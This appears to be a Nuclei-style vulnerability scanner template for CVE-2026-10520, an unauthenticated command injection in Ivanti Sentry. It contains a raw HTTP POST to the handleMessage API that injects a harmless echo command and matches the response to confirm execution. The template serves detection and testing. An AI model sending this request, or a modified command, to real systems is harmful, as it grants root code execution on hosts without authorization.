id: CVE-2026-10520

info:
  name: "Ivanti Sentry - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows
    a remote unauthenticated user to achieve root-level remote code execution
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-10520&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
  classification:
    cve-id: CVE-2026-10520
  metadata:
    verified: false
  tags: cve,cve2026,ivanti,sentry,rce,vkev,kev
http:
  - raw:
      - |
        POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eecho%20CVE-2026-10520%3c%2freqandres%3e%3c%2fcommandexec%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Message handled successfully"
          - "CVE-2026-10520"
        condition: and

      - type: status
        status:
          - 200